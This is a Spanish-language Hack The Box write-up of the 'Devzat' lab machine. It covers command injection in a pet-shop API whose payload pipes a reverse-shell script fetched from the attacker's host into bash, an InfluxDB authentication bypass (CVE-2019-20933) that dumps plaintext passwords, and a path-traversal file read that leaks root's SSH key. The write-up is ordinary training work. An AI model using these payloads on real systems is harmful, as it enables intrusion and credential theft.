This page looks best with JavaScript enabled

Hack The Box - Devzat

 •  ✍️ sckull

Devzat presenta un sitio web donde identificamos una vulnerabilidad de ‘Command Injection’, tambien, se expone el chat Devzat por SSH donde obtuvimos información acerca de la base de datos y la versión en Desarrollo del chat. Explotamos una vulnerabilidad en InfluxDB lo que nos permitió acceder a un segundo usuario. Finalmente escalamos privilegios analizando el codigo fuente de la version en Desarrollo, lo que nos permitió realizar la lectura de archivos como root y obtener acceso por SSH.

Nombre Devzat box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.118
Maker

c1sc0

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.5, 4.9, 5.1, 4.9, 5.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra los puertos http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.91 scan initiated Sat Oct 16 20:00:33 2021 as: nmap -p22,80 -sC -sV -o nmap_scan 10.10.11.118
Nmap scan report for devzat.htb (10.10.11.118)
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: devzat - where the devs at
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 16 20:00:43 2021 -- 1 IP address (1 host up) scanned in 10.34 seconds

Web Site

El puerto 80 nos redirige hacia un dominio principal: devzat.htb, el cual agregamos a /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/devzat ❯ curl -s 10.10.11.118
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://devzat.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.118 Port 80</address>
</body></html>
 π ~/htb/devzat ❯ curl -sI 10.10.11.118
HTTP/1.1 302 Found
Date: Sat, 16 Oct 2021 22:50:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://devzat.htb/
Content-Type: text/html; charset=iso-8859-1

 π ~/htb/devzat ❯

En el sitio web presentan un chat accesible por medio de SSH.
image

Vemos las instrucciones donde se muestra el puerto 80 en la conexion de ssh y con la flag -l para agregar un nombre de usuario.
image

Finalmente en el footer vemos un nombre de usuario como correo electronico.
image

Directory Brute Forcing

feroxbuster no mostró ningun otro directorio o pagina donde sacar informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/devzat ❯ feroxbuster -u http://devzat.htb/ -w $MD

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://devzat.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      309c http://devzat.htb/images
301        9l       28w      309c http://devzat.htb/assets
301        9l       28w      313c http://devzat.htb/assets/css
301        9l       28w      313c http://devzat.htb/javascript
301        9l       28w      312c http://devzat.htb/assets/js
403        9l       28w      275c http://devzat.htb/server-status
[####################] - 12m   226537/226537  0s      found:6       errors:1186
[####################] - 12m   220545/220545  291/s   http://devzat.htb/
[>-------------------] - 40s     1576/220545  39/s    http://devzat.htb/images
[>-------------------] - 38s     1971/220545  53/s    http://devzat.htb/assets
[>-------------------] - 29s      936/220545  35/s    http://devzat.htb/assets/css
[>-------------------] - 25s      510/220545  23/s    http://devzat.htb/javascript
[>-------------------] - 26s      999/220545  46/s    http://devzat.htb/assets/js
 π ~/htb/devzat ❯

Devzat Chat

Al intentar conectarnos al chat con el nombre patrick este no lo acepta, pero si cambiamos una de las letras a mayusculas, éste nos permite ingresar, vemos el “historial” del chat de patrick donde se menciona una base de datos: influxdb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/devzat ❯ ssh -l patrick devzat.htb -p 8000
Nickname reserved for local use, please choose a different one.
> patrick
Nickname reserved for local use, please choose a different one.
> Patrick
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: Patrick has joined the chat
Patrick:

Subdominios

Al no encontrar algun tipo de vulnerablidad en devzat enumeramos los subdominios utilizando ffuf. Vemos el subdominmio pets.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/devzat ❯ ffuf -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.devzat.htb" -u http://devzat.htb -fw 18 -o ffuf_report.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://devzat.htb
 :: Wordlist         : FUZZ: bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.devzat.htb
 :: Output file      : ffuf_report.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18
________________________________________________

pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]
:: Progress: [100000/100000] :: Job [1/1] :: 326 req/sec :: Duration: [0:07:03] :: Errors: 0 ::

User - Patrick

En este subdomino encontramos una pagina con una lista de mascotas, especie y caracteristica de cada una de ellas.
image

Por debajo de la lista encontramos un formulario para agregar una nueva mascota, sin embargo tras ingresar un valor y recargar la pagina este, desaparece.
image

Vemos en el codigo fuente el directorio /build/ donde encontramos el archivo main.js.map, este ultimo contiene el codigo fuente y en el vemos una solicitud POST hacia una API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import { onMount } from 'svelte';

let animals = [];
let postAnimal = { name: '', species: 'cat' };

onMount(async () => {
    // fetch animals
    const res = await fetch(`/api/pet`);
    animals = await res.json();
});

async function doPost() {
// add the new animal
    await fetch(`/api/pet`, {
      method: 'POST',
      body: JSON.stringify(postAnimal),
    }).then(async (res) => {
        if (res.status == 200) {
          // reload animals
          const update = await fetch(`/api/pet`);
          animals = await update.json();

          // Clear form
          postAnimal = { name: '' };
        }
      }).catch((err) => alert(err));
}

API - Command Injection

Utilizando burpsuite capturamos la solicitud POST, jugando con los parametros de envio logramos realizar Command Injection en el parametro species, donde vemos que el usuario que ejecuta la aplicacion es Patrick.
image

Shell

Utilizamos reverse-shell de la version de InfosecJack (no disponible, alternativa shells) para generar un archivo con multiples shells inversas , tambien ejecutamos un mini servidor con python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/devzat/www ❯ wget -q https://shell.infosecjack.me/10.10.14.30:1338 -O x
 π ~/htb/devzat/www ❯ head x
# Reverse Shell as a Service
# https://github.com/SewellDinG/reverse-shell
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://shell.infosecjack.me/yourip:1337 | sh
#
# 3. Don't be a dick (please only use for CTFs)

 π ~/htb/devzat/www ❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ejecutamos netcat en el puerto especificado anteriormente y ejecutamos el archivo enviando el comando.

1
2
3
4
{
   "name":"scatman",
   "species":"cat|curl 10.10.14.30/x|bash"
}

Logrando obtener una shell inversa con el usuario Patrick.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/devzat ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.30] from devzat.htb [10.10.11.118] 60598
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
patrick@devzat:~/pets$ id; whoami; pwd
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
patrick
/home/patrick/pets
patrick@devzat:~/pets$

En la carpeta .ssh/ encontramos la clave privada de patrick que nos permite ingresar por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/devzat ❯ ssh patrick@devzat.htb -i id_rsa_patrick
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 19 Oct 2021 03:08:50 AM UTC

  System load:  0.0               Processes:                241
  Usage of /:   58.9% of 7.81GB   Users logged in:          0
  Memory usage: 22%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.11.118


107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jun 22 19:48:41 2021 from 192.168.50.1
patrick@devzat:~$ pwd
/home/patrick
patrick@devzat:~$

User - Catherine

Encontramos multiples puertos abiertos localmente, si recordamos, el usuario admin menciona influxdb, segun la documentacion el puerto 8086 es el puerto por default del servicio HTTP, el cual se lista al ejecutar netstat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
patrick@devzat:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      846/./petshop
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::8000                 :::*                    LISTEN      904/./devchat
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
patrick@devzat:~$

Tambien, enumerando los usuarios vemos dos archivos “backup” a los que solo catherine puede acceder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
patrick@devzat:~$ cat /etc/passwd|grep home
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
patrick@devzat:~$ find / -user catherine 2>/dev/null
/home/catherine
/home/catherine/.profile
/home/catherine/.cache
/home/catherine/.bashrc
/home/catherine/.ssh
/home/catherine/user.txt
/home/catherine/.bash_logout
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip
patrick@devzat:~$ cat /home/catherine/user.txt
cat: /home/catherine/user.txt: Permission denied
patrick@devzat:~$ ls -lah /var/backups/
total 140K
drwxr-xr-x  2 root      root      4.0K Sep 29 16:25 .
drwxr-xr-x 14 root      root      4.0K Jun 22 18:34 ..
-rw-r--r--  1 root      root       58K Sep 28 18:45 apt.extended_states.0
-rw-r--r--  1 root      root      6.5K Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r--  1 root      root      6.5K Jul 16 06:41 apt.extended_states.2.gz
-rw-------  1 catherine catherine  28K Jul 16 07:00 devzat-dev.zip
-rw-------  1 catherine catherine  27K Jul 16 07:00 devzat-main.zip
patrick@devzat:~$

Además, en el chat devzat se menciona un feature implementado en la version de desarrollo que se encuentra en el puerto 8443, mencionado por Patrick, tambien se menciona el codigo fuente en el backup, seguramente devzat-dev.zip.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/devzat ❯  ssh -l Catherine devzat.htb -p 8000
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: Catherine has joined the chat
Catherine:

Devzat Local Chat

Al conectarnos localmente a la version de desarrollo, encontramos el chat similar al puerto 8000, pero en este se menciona la version de infuxdb que es: 1.7.5.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
patrick@devzat:~$ ssh 127.0.0.1 -p 8443
The authenticity of host '[127.0.0.1]:8443 ([127.0.0.1]:8443)' can't be established.
ED25519 key fingerprint is SHA256:liAkhV56PrAa5ORjJC5MU4YSl8kfNXp+QuljetKw0XU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8443' (ED25519) to the list of known hosts.
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb 1.7.5 for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick: exit
patrick: /exit
Connection to 127.0.0.1 closed.

El chat de catherine muestra informacion similar al puerto 8000, vemos el comando diff main dev que podria mostrar los cambios realizados en la versio en desarrollo y la principal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Catherine
patrick@devzat:~$ ssh -l Catherine 127.0.0.1 -p 8443
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could `diff main dev` if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: Catherine has joined the chat
Catherine:

InfluxDB

La version de InfluxDB se ve afectada por un exploit (CVE-2019-20933) que realiza bypass a la autenticacion mediante la creacion de un token JWT. Este exploit utiliza un wordlist de usuarios, conocemos tres.

1
2
3
4
 π InfluxDB-Exploit-CVE-2019-20933 master ✗ ❯ cat user.txt
catherine
patrick
admin

Principalmente utilizamos SSH para realizar Port Forwarding al puerto 8086.

1
ssh -L 8086:127.0.0.1:8086 -i id_rsa_patrick patrick@devzat.htb

Tras instalar las dependencias del script en un entorno virtual, y modificar variables, lanzamos el script, donde encontramos dos bases de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(InfluxDB-Exploit-CVE-2019-20933)  π InfluxDB-Exploit-CVE-2019-20933 master ✗ ❯ python3 __main__.py
  _____        __ _            _____  ____    ______            _       _ _
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |
                                                         |_|
CVE-2019-20933


Start username bruteforce
[x] catherine
[x] patrick
[v] admin

Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MDc3Njc5LjB9.YB5NpsE5RyQfESS_xwfqVusMH5B57ZlgxHgZTnd2iOk
Host vulnerable !!!
Databases list:

1) devzat
2) _internal

Enumerando las series vemos user.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): show series
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "key"
                    ],
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Al extraer la informacion de user encontramos multiples credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[devzat] Insert query (exit to change db): SELECT * FROM "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
[devzat] Insert query (exit to change db):

Shell

Utilizando las contraseñas con catherine logramos obtener una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$ whoami
catherine
catherine@devzat:/home/patrick$ cd
catherine@devzat:~$ ls
user.txt
catherine@devzat:~$ cat user.txt
5890b3e0aa54770c37e6b7c5e938baf1
catherine@devzat:~$

Privesc

Con catherine logramos obtener acceso al backup, donde identificamos los cambios, vemos la funcion fileCommand que obtiene dos parametros, la direccion de un archivo y la contraseña que encontramos en el codigo fuente, dicha funcion realiza la lectura de un archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
func fileCommand(u *user, args []string) {
    if len(args) < 1 {
        u.system("Please provide file to print and the password")
        return
    }

    if len(args) < 2 {
        u.system("You need to provide the correct password to use this function")
        return
    }

    path := args[0]
    pass := args[1]

    // Check my secure password
    if pass != "CeilingCatStillAThingIn2021?" {
        u.system("You did provide the wrong password")
        return
    }

    // Get CWD
    cwd, err := os.Getwd()
    if err != nil {
        u.system(err.Error())
    }

    // Construct path to print
    printPath := filepath.Join(cwd, path)

    // Check if file exists
    if _, err := os.Stat(printPath); err == nil {
        // exists, print
        file, err := os.Open(printPath)
        if err != nil {
            u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
            return
        }
        defer file.Close()

        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            u.system(scanner.Text())
        }

        if err := scanner.Err(); err != nil {
            u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
        }

        return

    } else if os.IsNotExist(err) {
        // does not exist, print error
        u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
        return
    }
    // bokred?
    u.system("Something went badly wrong.")
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
catherine@devzat:/dev/shm$ ls
dev  devzat-dev.zip  devzat-main.zip  main
catherine@devzat:/dev/shm$ diff dev main
diff dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
>    "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff dev/commands.go main/commands.go
4d3
<   "bufio"
6,7d4
<   "os"
<   "path/filepath"
40d36
<       file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
<   commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
<
< func fileCommand(u *user, args []string) {
<   if len(args) < 1 {
<       u.system("Please provide file to print and the password")
<       return
<   }
<
<   if len(args) < 2 {
<       u.system("You need to provide the correct password to use this function")
<       return
<   }
<
<   path := args[0]
<   pass := args[1]
<
<   // Check my secure password
<   if pass != "CeilingCatStillAThingIn2021?" {
<       u.system("You did provide the wrong password")
<       return
<   }
<
<   // Get CWD
<   cwd, err := os.Getwd()
<   if err != nil {
<       u.system(err.Error())
<   }
<
<   // Construct path to print
<   printPath := filepath.Join(cwd, path)
<
<   // Check if file exists
<   if _, err := os.Stat(printPath); err == nil {
<       // exists, print
<       file, err := os.Open(printPath)
<       if err != nil {
<           u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
<           return
<       }
<       defer file.Close()
<
<       scanner := bufio.NewScanner(file)
<       for scanner.Scan() {
<           u.system(scanner.Text())
<       }
<
<       if err := scanner.Err(); err != nil {
<           u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
<       }
<
<       return
<
<   } else if os.IsNotExist(err) {
<       // does not exist, print error
<       u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
<       return
<   }
<   // bokred?
<   u.system("Something went badly wrong.")
---
>   commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
diff dev/devchat.go main/devchat.go
27c27
<   port = 8443
---
>   port = 8000
114c114
<       fmt.Sprintf("127.0.0.1:%d", port),
---
>       fmt.Sprintf(":%d", port),
Only in dev: testfile.txt
catherine@devzat:/dev/shm$

Con una conexion al puerto 8443 de la version en desarrollo, pasamos el archivo y contraseña, obtuvimos acceso a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
catherine@devzat:~$ ssh 127.0.0.1 -p 8443
The authenticity of host '[127.0.0.1]:8443 ([127.0.0.1]:8443)' can't be established.
ED25519 key fingerprint is SHA256:liAkhV56PrAa5ORjJC5MU4YSl8kfNXp+QuljetKw0XU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8443' (ED25519) to the list of known hosts.
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine: /file root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root.txt does not exist!
catherine: /file ../root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 9a307cb29b87600731ec24276cf9c42f
catherine:

Shell

Tambien logramos obtener la clave privada del usuario root.

1
2
3
4
5
6
7
8
9
catherine: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
catherine:

Con ella obtuvimos acceso por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 π ~/htb/devzat ❯ chmod 600 root_id
 π ~/htb/devzat ❯ ssh root@devzat.htb -i root_id
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 17 Oct 2021 06:02:58 AM UTC

  System load:  0.05              Processes:                253
  Usage of /:   59.0% of 7.81GB   Users logged in:          1
  Memory usage: 39%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.11.118


107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Oct 11 14:28:01 2021
root@devzat:~# whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@devzat:~# cat root.txt
07e6db32efce01eb2368c0f813fd0ad1
root@devzat:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe